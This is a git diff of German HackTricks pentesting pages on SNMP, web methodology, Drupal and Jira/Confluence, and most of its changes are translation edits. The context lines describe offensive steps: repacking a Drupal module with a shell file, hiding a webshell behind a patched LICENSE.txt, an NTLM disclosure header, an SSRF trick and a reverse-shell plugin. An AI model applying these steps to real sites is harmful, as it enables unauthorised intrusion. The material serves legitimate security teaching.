**SNMP** funktioniert über UDP mit den Ports 161/UDP für allgemeine Nachrichten und 162/UDP für Trap-Nachrichten. Dieses Protokoll basiert auf Community-Strings, die als Passwörter dienen und die Kommunikation zwischen SNMP-Agenten und -Servern ermöglichen. Diese Strings sind entscheidend, da sie die Zugriffslevel bestimmen, insbesondere **nur-Lese (RO) oder Lese-Schreib (RW) Berechtigungen**. Ein bemerkenswerter Angriffsvektor für Pentester ist das **Brute-Forcing von Community-Strings**, um in Netzwerkgeräte einzudringen.
|
||||
|
||||
|
|
@ -52,7 +52,7 @@ msf6 auxiliary(scanner/snmp/snmp_enum) > exploit
|
|||
|
||||
* [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Wenn Sie an einer **Hacking-Karriere** interessiert sind und das Unhackbare hacken möchten - **wir stellen ein!** (_fließend Polnisch in Wort und Schrift erforderlich_).
|
||||
|
||||
|
|
|
|||
|
|
@ -15,7 +15,7 @@ Lerne & übe GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Wenn du an einer **Hacking-Karriere** interessiert bist und das Unhackbare hacken möchtest - **wir stellen ein!** (_fließend Polnisch in Wort und Schrift erforderlich_).
|
||||
|
||||
|
|
@ -44,13 +44,13 @@ openssl s_client -connect domain.com:443 # GET / HTTP/1.0
|
|||
|
||||
## Methodologie Zusammenfassung
|
||||
|
||||
> In dieser Methodologie gehen wir davon aus, dass Sie eine Domain (oder Subdomain) angreifen werden und nur diese. Daher sollten Sie diese Methodologie auf jede entdeckte Domain, Subdomain oder IP mit unbestimmtem Webserver im Geltungsbereich anwenden.
|
||||
> In dieser Methodologie gehen wir davon aus, dass Sie eine Domain (oder Subdomain) angreifen werden und nur das. Daher sollten Sie diese Methodologie auf jede entdeckte Domain, Subdomain oder IP mit unbestimmtem Webserver im Geltungsbereich anwenden.
|
||||
|
||||
* [ ] Beginnen Sie mit der **Identifizierung** der **Technologien**, die vom Webserver verwendet werden. Achten Sie auf **Tricks**, die Sie während des restlichen Tests im Hinterkopf behalten sollten, wenn Sie die Technik erfolgreich identifizieren können.
|
||||
* [ ] Gibt es **bekannte Schwachstellen** der Version der Technologie?
|
||||
* [ ] Wird eine **bekannte Technik** verwendet? Gibt es einen **nützlichen Trick**, um mehr Informationen zu extrahieren?
|
||||
* [ ] Gibt es einen **spezialisierten Scanner**, den Sie ausführen sollten (wie wpscan)?
|
||||
* [ ] Starten Sie **Allzweck-Scanner**. Sie wissen nie, ob sie etwas finden oder ob sie interessante Informationen entdecken.
|
||||
* [ ] Starten Sie **Allzweck-Scanner**. Sie wissen nie, ob sie etwas finden oder ob sie interessante Informationen finden.
|
||||
* [ ] Beginnen Sie mit den **ersten Überprüfungen**: **robots**, **sitemap**, **404**-Fehler und **SSL/TLS-Scan** (wenn HTTPS).
|
||||
* [ ] Beginnen Sie mit dem **Spidering** der Webseite: Es ist Zeit, alle möglichen **Dateien, Ordner** und **Parameter zu finden, die verwendet werden.** Überprüfen Sie auch auf **besondere Funde**.
|
||||
* [ ] _Beachten Sie, dass jedes Mal, wenn ein neues Verzeichnis während des Brute-Forcings oder Spiderings entdeckt wird, es gespidert werden sollte._
|
||||
|
|
@ -118,7 +118,7 @@ Einige **Tricks** zum **Finden von Schwachstellen** in verschiedenen bekannten *
|
|||
* [**Electron Desktop (XSS zu RCE)**](electron-desktop-apps/)
|
||||
|
||||
_Beachten Sie, dass die **gleiche Domain** **verschiedene Technologien** in verschiedenen **Ports**, **Ordnern** und **Subdomains** verwenden kann._\
|
||||
Wenn die Webanwendung eine bekannte **Technologie/Plattform aus der Liste oben** oder **eine andere** verwendet, vergessen Sie nicht, **im Internet nach neuen Tricks zu suchen** (und lassen Sie es mich wissen!).
|
||||
Wenn die Webanwendung eine bekannte **Technologie/Plattform aus der Liste** oder **eine andere** verwendet, vergessen Sie nicht, **im Internet nach neuen Tricks zu suchen** (und lassen Sie es mich wissen!).
|
||||
|
||||
### Quellcode-Überprüfung
|
||||
|
||||
|
|
@ -129,7 +129,7 @@ Wenn der **Quellcode** der Anwendung in **github** verfügbar ist, gibt es neben
|
|||
* Sind **Passwörter** im **Klartext**, **verschlüsselt** oder welcher **Hash-Algorithmus** wird verwendet?
|
||||
* Wird ein **Master-Schlüssel** zur Verschlüsselung von etwas verwendet? Welcher **Algorithmus** wird verwendet?
|
||||
* Können Sie **auf eine dieser Dateien zugreifen**, indem Sie eine Schwachstelle ausnutzen?
|
||||
* Gibt es **interessante Informationen in den github** (gelöste und ungelöste) **Issues**? Oder in der **Commit-Historie** (vielleicht ein **Passwort, das in einem alten Commit eingeführt wurde**)?
|
||||
* Gibt es **interessante Informationen in den GitHub** (gelöste und ungelöste) **Issues**? Oder in der **Commit-Historie** (vielleicht ein **Passwort, das in einem alten Commit eingeführt wurde**)?
|
||||
|
||||
{% content-ref url="code-review-tools.md" %}
|
||||
[code-review-tools.md](code-review-tools.md)
|
||||
|
|
@ -185,7 +185,7 @@ joomlavs.rb #https://github.com/rastating/joomlavs
|
|||
|
||||
Webserver können **unerwartet reagieren**, wenn seltsame Daten an sie gesendet werden. Dies kann **Schwachstellen** oder **Offenlegung sensibler Informationen** öffnen.
|
||||
|
||||
* Greifen Sie auf **falsche Seiten** wie /whatever\_fake.php (.aspx,.html,.etc) zu
|
||||
* Greifen Sie auf **falsche Seiten** wie /whatever\_fake.php (.aspx, .html, usw.) zu
|
||||
* **Fügen Sie "\[]", "]]" und "\[\["** in **Cookie-Werte** und **Parameterwerte** ein, um Fehler zu erzeugen
|
||||
* Generieren Sie einen Fehler, indem Sie als Eingabe **`/~randomthing/%s`** am **Ende** der **URL** angeben
|
||||
* Versuchen Sie **verschiedene HTTP-Methoden** wie PATCH, DEBUG oder falsche wie FAKE
|
||||
|
|
@ -199,8 +199,8 @@ Wenn Sie feststellen, dass **WebDav** **aktiviert** ist, Sie jedoch nicht über
|
|||
|
||||
### **SSL/TLS-Schwachstellen**
|
||||
|
||||
* Wenn die Anwendung **den Benutzer nicht zu HTTPS zwingt**, ist sie **anfällig für MitM**
|
||||
* Wenn die Anwendung **sensible Daten (Passwörter) über HTTP sendet**, ist das eine hohe Schwachstelle.
|
||||
* Wenn die Anwendung **den Benutzer nicht zwingt, HTTPS** zu verwenden, ist sie **anfällig für MitM**
|
||||
* Wenn die Anwendung **sensible Daten (Passwörter) über HTTP** sendet, ist dies eine hohe Schwachstelle.
|
||||
|
||||
Verwenden Sie [**testssl.sh**](https://github.com/drwetter/testssl.sh), um nach **Schwachstellen** zu suchen (in Bug-Bounty-Programmen werden solche Schwachstellen wahrscheinlich nicht akzeptiert), und verwenden Sie [**a2sv**](https://github.com/hahwul/a2sv), um die Schwachstellen erneut zu überprüfen:
|
||||
```bash
|
||||
|
|
@ -211,7 +211,7 @@ Verwenden Sie [**testssl.sh**](https://github.com/drwetter/testssl.sh), um nach
|
|||
sslscan <host:port>
|
||||
sslyze --regular <ip:port>
|
||||
```
|
||||
Informationen über SSL/TLS-Sicherheitsanfälligkeiten:
|
||||
Informationen zu SSL/TLS-Sicherheitsanfälligkeiten:
|
||||
|
||||
* [https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/](https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/)
|
||||
* [https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/](https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/)
|
||||
|
|
@ -223,7 +223,7 @@ Starten Sie eine Art von **Spider** im Web. Das Ziel des Spiders ist es, **so vi
|
|||
* [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML-Spider, LinkFinder in JS-Dateien und externen Quellen (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com).
|
||||
* [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML-Spider, mit LinkFinder für JS-Dateien und Archive.org als externe Quelle.
|
||||
* [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML-Spider, zeigt auch "saftige Dateien" an.
|
||||
* [**evine** ](https://github.com/saeeddhqan/evine)(go): Interaktiver CLI HTML-Spider. Es sucht auch in Archive.org.
|
||||
* [**evine** ](https://github.com/saeeddhqan/evine)(go): Interaktiver CLI-HTML-Spider. Es sucht auch in Archive.org.
|
||||
* [**meg**](https://github.com/tomnomnom/meg) (go): Dieses Tool ist kein Spider, kann aber nützlich sein. Sie können einfach eine Datei mit Hosts und eine Datei mit Pfaden angeben, und meg wird jeden Pfad auf jedem Host abrufen und die Antwort speichern.
|
||||
* [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML-Spider mit JS-Rendering-Fähigkeiten. Es scheint jedoch, dass es nicht mehr gewartet wird, die vorcompilierte Version ist alt und der aktuelle Code kompiliert nicht.
|
||||
* [**gau**](https://github.com/lc/gau) (go): HTML-Spider, der externe Anbieter (wayback, otx, commoncrawl) nutzt.
|
||||
|
|
@ -238,19 +238,19 @@ Starten Sie eine Art von **Spider** im Web. Das Ziel des Spiders ist es, **so vi
|
|||
* [**page-fetch**](https://github.com/detectify/page-fetch) (go): Laden Sie eine Seite in einem headless Browser und drucken Sie alle URLs aus, die zum Laden der Seite geladen wurden.
|
||||
* [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Inhaltserkennungstool, das mehrere Optionen der vorherigen Tools kombiniert.
|
||||
* [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): Eine Burp-Erweiterung, um Pfade und Parameter in JS-Dateien zu finden.
|
||||
* [**Sourcemapper**](https://github.com/denandz/sourcemapper): Ein Tool, das Ihnen den beautifizierten JS-Code gibt, wenn die .js.map-URL angegeben wird.
|
||||
* [**Sourcemapper**](https://github.com/denandz/sourcemapper): Ein Tool, das Ihnen den beautifizierten JS-Code liefert, wenn Sie die .js.map-URL angeben.
|
||||
* [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Dies ist ein Tool, das verwendet wird, um Endpunkte für ein bestimmtes Ziel zu entdecken.
|
||||
* [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Entdecken Sie Links von der Wayback-Maschine (auch die Antworten in der Wayback herunterladen und nach weiteren Links suchen).
|
||||
* [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawlen (auch durch Ausfüllen von Formularen) und auch sensible Informationen mit spezifischen Regexen finden.
|
||||
* [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite ist ein fortschrittlicher, multifunktionaler GUI-Websicherheits-Crawler/Spider, der für Cybersicherheitsprofis entwickelt wurde.
|
||||
* [**jsluice**](https://github.com/BishopFox/jsluice) (go): Es ist ein Go-Paket und [Befehlszeilentool](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) zum Extrahieren von URLs, Pfaden, Geheimnissen und anderen interessanten Daten aus JavaScript-Quellcode.
|
||||
* [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge ist eine einfache **Burp Suite-Erweiterung**, um **Parameter und Endpunkte** aus der Anfrage zu extrahieren, um benutzerdefinierte Wortlisten für Fuzzing und Enumeration zu erstellen.
|
||||
* [**katana**](https://github.com/projectdiscovery/katana) (go): Tolle Tool dafür.
|
||||
* [**katana**](https://github.com/projectdiscovery/katana) (go): Großartiges Tool dafür.
|
||||
* [**Crawley**](https://github.com/s0rg/crawley) (go): Drucken Sie jeden Link aus, den es finden kann.
|
||||
|
||||
### Brute Force-Verzeichnisse und -Dateien
|
||||
|
||||
Starten Sie das **Brute-Forcing** vom Stammordner und stellen Sie sicher, dass Sie **alle** **gefundenen Verzeichnisse** mit **dieser Methode** und alle Verzeichnisse **entdeckt** durch das **Spidering** brute-forcen (Sie können dieses Brute-Forcing **rekursiv** durchführen und am Anfang der verwendeten Wortliste die Namen der gefundenen Verzeichnisse anhängen).\
|
||||
Starten Sie das **Brute-Forcen** vom Stammordner und stellen Sie sicher, dass Sie **alle** **gefundenen Verzeichnisse** mit **dieser Methode** und alle Verzeichnisse **entdeckt** durch das **Spidering** brute-forcen (Sie können dieses Brute-Forcing **rekursiv** durchführen und am Anfang der verwendeten Wortliste die Namen der gefundenen Verzeichnisse anhängen).\
|
||||
Tools:
|
||||
|
||||
* **Dirb** / **Dirbuster** - In Kali enthalten, **alt** (und **langsam**), aber funktional. Erlaubt automatisch signierte Zertifikate und rekursive Suche. Zu langsam im Vergleich zu den anderen Optionen.
|
||||
|
|
@ -283,7 +283,7 @@ Tools:
|
|||
* _/usr/share/wordlists/dirb/big.txt_
|
||||
* _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_
|
||||
|
||||
_Bedenken Sie, dass jedes Mal, wenn während des Brute-Forcings oder Spiderings ein neues Verzeichnis entdeckt wird, es brute-forced werden sollte._
|
||||
_Beachten Sie, dass jedes Mal, wenn während des Brute-Forcings oder Spiderings ein neues Verzeichnis entdeckt wird, es brute-forced werden sollte._
|
||||
|
||||
### Was bei jeder gefundenen Datei zu überprüfen ist
|
||||
|
||||
|
|
@ -295,7 +295,7 @@ _Bedenken Sie, dass jedes Mal, wenn während des Brute-Forcings oder Spiderings
|
|||
* _Assetnote “parameters\_top\_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
|
||||
* _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
|
||||
* **Kommentare:** Überprüfen Sie die Kommentare aller Dateien, Sie können **Anmeldeinformationen** oder **versteckte Funktionen** finden.
|
||||
* Wenn Sie **CTF** spielen, ist ein "gewöhnlicher" Trick, **Informationen** in Kommentaren auf der **rechten** Seite der **Seite** zu **verstecken** (indem Sie **hunderte** von **Leerzeichen** verwenden, sodass Sie die Daten nicht sehen, wenn Sie den Quellcode mit dem Browser öffnen). Eine andere Möglichkeit besteht darin, **mehrere neue Zeilen** zu verwenden und **Informationen** in einem Kommentar am **unteren** Ende der Webseite zu **verstecken**.
|
||||
* Wenn Sie **CTF** spielen, ist ein "gewöhnlicher" Trick, **Informationen** in Kommentaren auf der **rechten** Seite der **Seite** zu **verstecken** (indem Sie **Hunderte** von **Leerzeichen** verwenden, sodass Sie die Daten nicht sehen, wenn Sie den Quellcode mit dem Browser öffnen). Eine andere Möglichkeit besteht darin, **mehrere neue Zeilen** zu verwenden und **Informationen** in einem Kommentar am **unteren** Ende der Webseite zu **verstecken**.
|
||||
* **API-Schlüssel**: Wenn Sie **einen API-Schlüssel finden**, gibt es eine Anleitung, die angibt, wie man API-Schlüssel verschiedener Plattformen verwendet: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](https://github.com/l4yton/RegHex\)/)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
|
||||
* Google API-Schlüssel: Wenn Sie einen API-Schlüssel finden, der wie **AIza**SyA-qLheq6xjDiEIRisP\_ujUseYLQCHUjik aussieht, können Sie das Projekt [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) verwenden, um zu überprüfen, auf welche APIs der Schlüssel zugreifen kann.
|
||||
* **S3-Buckets**: Überprüfen Sie beim Spidering, ob eine **Subdomain** oder ein **Link** mit einem **S3-Bucket** verbunden ist. In diesem Fall [**überprüfen** Sie die **Berechtigungen** des Buckets](buckets/).
|
||||
|
|
@ -314,7 +314,7 @@ _Bedenken Sie, dass jedes Mal, wenn während des Brute-Forcings oder Spiderings
|
|||
* Sie sollten auch entdeckte JS-Dateien mit [**RetireJS**](https://github.com/retirejs/retire.js/) oder [**JSHole**](https://github.com/callforpapers-source/jshole) überprüfen, um herauszufinden, ob sie anfällig sind.
|
||||
* **Javascript Deobfuscator und Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
|
||||
* **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
|
||||
* **JsFuck-Deobfuskation** (JavaScript mit Zeichen:"\[]!+" [https://ooze.ninja/javascript/poisonjs/](https://ooze.ninja/javascript/poisonjs/))
|
||||
* **JsFuck-Deobfuskation** (JavaScript mit Zeichen: "\[]!+" [https://ooze.ninja/javascript/poisonjs/](https://ooze.ninja/javascript/poisonjs/))
|
||||
* [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
|
||||
* In mehreren Fällen müssen Sie **reguläre Ausdrücke** verstehen, die verwendet werden, dies wird nützlich sein: [https://regex101.com/](https://regex101.com)
|
||||
* Sie könnten auch **die Dateien überwachen, in denen Formulare erkannt wurden**, da eine Änderung des Parameters oder das Auftreten eines neuen Formulars auf eine potenziell neue anfällige Funktionalität hinweisen kann.
|
||||
|
|
@ -327,11 +327,11 @@ _Bedenken Sie, dass jedes Mal, wenn während des Brute-Forcings oder Spiderings
|
|||
|
||||
**502 Proxy-Fehler**
|
||||
|
||||
Wenn eine Seite mit diesem **Code** **antwortet**, handelt es sich wahrscheinlich um einen **schlecht konfigurierten Proxy**. **Wenn Sie eine HTTP-Anfrage wie: `GET https://google.com HTTP/1.1`** (mit dem Host-Header und anderen gängigen Headern) senden, wird der **Proxy** versuchen, auf _**google.com**_ zuzugreifen, und Sie haben eine **SSRF** gefunden.
|
||||
Wenn eine Seite mit diesem **Code** **antwortet**, handelt es sich wahrscheinlich um einen **schlecht konfigurierten Proxy**. **Wenn Sie eine HTTP-Anfrage wie: `GET https://google.com HTTP/1.1`** (mit dem Host-Header und anderen gängigen Headern) senden, wird der **Proxy** versuchen, auf _**google.com**_ zu **zugreifen**, und Sie haben eine **SSRF** gefunden.
|
||||
|
||||
**NTLM-Authentifizierung - Informationsoffenlegung**
|
||||
|
||||
Wenn der laufende Server nach Authentifizierung fragt und **Windows** ist oder Sie eine Anmeldung finden, die nach Ihren **Anmeldeinformationen** (und nach dem **Domänennamen**) fragt, können Sie eine **Informationsoffenlegung** provozieren.\
|
||||
Wenn der laufende Server nach Authentifizierung fragt und **Windows** ist oder Sie ein Login finden, das nach Ihren **Anmeldeinformationen** (und nach dem **Domänennamen**) fragt, können Sie eine **Informationsoffenlegung** provozieren.\
|
||||
**Senden** Sie den **Header**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` und aufgrund der Funktionsweise der **NTLM-Authentifizierung** wird der Server mit internen Informationen (IIS-Version, Windows-Version...) im Header "WWW-Authenticate" antworten.\
|
||||
Sie können dies mit dem **nmap-Plugin** "_http-ntlm-info.nse_" **automatisieren**.
|
||||
|
||||
|
|
@ -357,7 +357,7 @@ Weitere Informationen zu Web-Sicherheitsanfälligkeiten finden Sie unter:
|
|||
|
||||
Sie können Tools wie [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) verwenden, um Seiten auf Änderungen zu überwachen, die Sicherheitsanfälligkeiten einfügen könnten.
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Wenn Sie an einer **Hacking-Karriere** interessiert sind und das Unhackbare hacken möchten - **wir stellen ein!** (_fließend Polnisch in Wort und Schrift erforderlich_).
|
||||
|
||||
|
|
|
|||
|
|
@ -49,13 +49,13 @@ Ab Version **8 ist das** [**PHP-Filter**](https://www.drupal.org/project/php/rel
|
|||
3. Klicken Sie auf **`Browse`**, wählen Sie die Datei aus dem Verzeichnis aus, in das wir sie heruntergeladen haben, und klicken Sie dann auf **`Install`**.
|
||||
4. Sobald das Modul installiert ist, können wir auf **`Content`** klicken und **eine neue einfache Seite erstellen**, ähnlich wie wir es im Drupal 7-Beispiel gemacht haben. Stellen Sie erneut sicher, dass Sie **`PHP code` aus dem Dropdown-Menü `Text format` auswählen**.
|
||||
|
||||
## Backdoored Modul
|
||||
## Hintertür-Modul
|
||||
|
||||
{% hint style="warning" %}
|
||||
In aktuellen Versionen ist es nicht mehr möglich, Plugins nur mit Zugriff auf das Web nach der Standardinstallation zu installieren.
|
||||
{% endhint %}
|
||||
|
||||
Ein backdoored Modul kann erstellt werden, indem **eine Shell zu einem bestehenden Modul hinzugefügt wird**. Module können auf der drupal.org-Website gefunden werden. Wählen wir ein Modul wie [CAPTCHA](https://www.drupal.org/project/captcha). Scrollen Sie nach unten und kopieren Sie den Link für das tar.gz [Archiv](https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz).
|
||||
Ein hintertürbehaftetes Modul kann erstellt werden, indem **eine Shell zu einem bestehenden Modul hinzugefügt wird**. Module können auf der drupal.org-Website gefunden werden. Wählen wir ein Modul wie [CAPTCHA](https://www.drupal.org/project/captcha). Scrollen Sie nach unten und kopieren Sie den Link für das tar.gz [Archiv](https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz).
|
||||
|
||||
* Laden Sie das Archiv herunter und extrahieren Sie dessen Inhalt.
|
||||
```
|
||||
|
|
@ -80,7 +80,7 @@ RewriteBase /
|
|||
mv shell.php .htaccess captcha
|
||||
tar cvf captcha.tar.gz captcha/
|
||||
```
|
||||
* Angenommen, wir haben **administrativen Zugriff** auf die Website, klicken Sie auf **`Verwalten`** und dann auf **`Erweitern`** in der Seitenleiste. Klicken Sie dann auf die Schaltfläche **`+ Neues Modul installieren`**, und wir werden zur Installationsseite weitergeleitet, wie `http://drupal-site.local/admin/modules/install`. Durchsuchen Sie das Backdoored Captcha-Archiv und klicken Sie auf **`Installieren`**.
|
||||
* Angenommen, wir haben **administrativen Zugriff** auf die Website, klicken Sie auf **`Verwalten`** und dann auf **`Erweitern`** in der Seitenleiste. Klicken Sie als Nächstes auf die Schaltfläche **`+ Neues Modul installieren`**, und wir werden zur Installationsseite weitergeleitet, wie `http://drupal-site.local/admin/modules/install`. Durchsuchen Sie das Backdoored Captcha-Archiv und klicken Sie auf **`Installieren`**.
|
||||
* Sobald die Installation erfolgreich ist, navigieren Sie zu **`/modules/captcha/shell.php`**, um Befehle auszuführen.
|
||||
|
||||
## Backdooring Drupal mit Konfigurationssynchronisierung <a href="#backdooring-drupal" id="backdooring-drupal"></a>
|
||||
|
|
@ -97,7 +97,7 @@ Vor der Aktivierung:
|
|||
|
||||
Nach der Aktivierung:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
|
@ -202,7 +202,7 @@ Einfach, weil wir die folgende Datei nehmen, zum Beispiel [core/LICENSE.txt](htt
|
|||
|
||||
<figure><img src="../../../.gitbook/assets/image (7) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Datei: Patchte LICENSE.txt
|
||||
Datei: Patched LICENSE.txt
|
||||
```txt
|
||||
|
||||
...
|
||||
|
|
@ -263,7 +263,7 @@ Wenn der Angreifer das Cookie setzt, kann er mit der Webshell interagieren und b
|
|||
|
||||
<figure><img src="../../../.gitbook/assets/image (15) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Und wie Sie in den Protokollen sehen können, sieht es so aus, als ob nur eine txt-Datei angefordert wurde.
|
||||
Und wie Sie in den Protokollen sehen können, sieht es so aus, als wäre nur eine txt-Datei angefordert worden.
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (16) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
|
|
|||
|
|
@ -6,7 +6,7 @@ Lernen & üben Sie GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt=""
|
|||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>Unterstützen Sie HackTricks</summary>
|
||||
|
||||
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
|
@ -15,15 +15,15 @@ Lernen & üben Sie GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt=""
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Wenn Sie an einer **Hacking-Karriere** interessiert sind und das Unhackbare hacken möchten - **wir stellen ein!** (_fließend Polnisch in Wort und Schrift erforderlich_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
## Überprüfen Sie Berechtigungen
|
||||
## Berechtigungen überprüfen
|
||||
|
||||
In Jira können **Berechtigungen von jedem Benutzer überprüft werden**, authentifiziert oder nicht, über die Endpunkte `/rest/api/2/mypermissions` oder `/rest/api/3/mypermissions`. Diese Endpunkte zeigen die aktuellen Berechtigungen des Benutzers an. Ein bemerkenswerter Punkt ist, wenn **nicht-authentifizierte Benutzer Berechtigungen haben**, was auf eine **Sicherheitsanfälligkeit** hinweist, die möglicherweise für eine **Belohnung** in Frage kommt. Ebenso heben **unerwartete Berechtigungen für authentifizierte Benutzer** ebenfalls eine **Anfälligkeit** hervor.
|
||||
In Jira können **Berechtigungen von jedem Benutzer überprüft werden**, authentifiziert oder nicht, über die Endpunkte `/rest/api/2/mypermissions` oder `/rest/api/3/mypermissions`. Diese Endpunkte zeigen die aktuellen Berechtigungen des Benutzers an. Ein bemerkenswerter Punkt ist, dass **nicht-authentifizierte Benutzer Berechtigungen haben**, was auf eine **Sicherheitsanfälligkeit** hinweist, die möglicherweise für eine **Belohnung** in Frage kommt. Ebenso heben **unerwartete Berechtigungen für authentifizierte Benutzer** ebenfalls eine **Anfälligkeit** hervor.
|
||||
|
||||
Ein wichtiger **Update** wurde am **1. Februar 2019** vorgenommen, der den 'mypermissions'-Endpunkt dazu verpflichtet, einen **'permission'-Parameter** einzuschließen. Diese Anforderung zielt darauf ab, die **Sicherheit zu erhöhen**, indem die abgefragten Berechtigungen spezifiziert werden: [hier überprüfen](https://developer.atlassian.com/cloud/jira/platform/change-notice-get-my-permissions-requires-permissions-query-parameter/#change-notice---get-my-permissions-resource-will-require-a-permissions-query-parameter)
|
||||
|
||||
|
|
@ -114,7 +114,7 @@ public OutputType getOutputType() { return OutputType.BLOCK; }
|
|||
```
|
||||
Es ist möglich zu beobachten, dass diese Plugins anfällig für gängige Webanfälligkeiten wie XSS sein könnten. Zum Beispiel ist das vorherige Beispiel anfällig, weil es Daten widerspiegelt, die vom Benutzer bereitgestellt werden. 
|
||||
|
||||
Sobald ein XSS gefunden wird, können Sie in [**diesem GitHub-Repo**](https://github.com/cyllective/XSS-Payloads/tree/main/Confluence) einige Payloads finden, um die Auswirkungen des XSS zu erhöhen.
|
||||
Sobald ein XSS gefunden wurde, können Sie in [**diesem GitHub-Repo**](https://github.com/cyllective/XSS-Payloads/tree/main/Confluence) einige Payloads finden, um die Auswirkungen des XSS zu erhöhen.
|
||||
|
||||
## Backdoor-Plugin
|
||||
|
||||
|
|
@ -129,7 +129,7 @@ Dies sind einige der Aktionen, die ein bösartiges Plugin ausführen könnte:
|
|||
* **Reverse Shell**: Oder eine Reverse Shell erhalten.
|
||||
* **DOM-Proxying**: Wenn sich die Confluence in einem privaten Netzwerk befindet, wäre es möglich, eine Verbindung über den Browser eines Benutzers mit Zugriff darauf herzustellen und beispielsweise den Server über ihn zu kontaktieren, um Befehle auszuführen.
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Wenn Sie an einer **Hacking-Karriere** interessiert sind und das Unhackbare hacken möchten - **wir stellen ein!** (_fließend Polnisch in Wort und Schrift erforderlich_).
|
||||
|
||||
|
|
|
|||
|
|
@ -1,23 +1,23 @@
|
|||
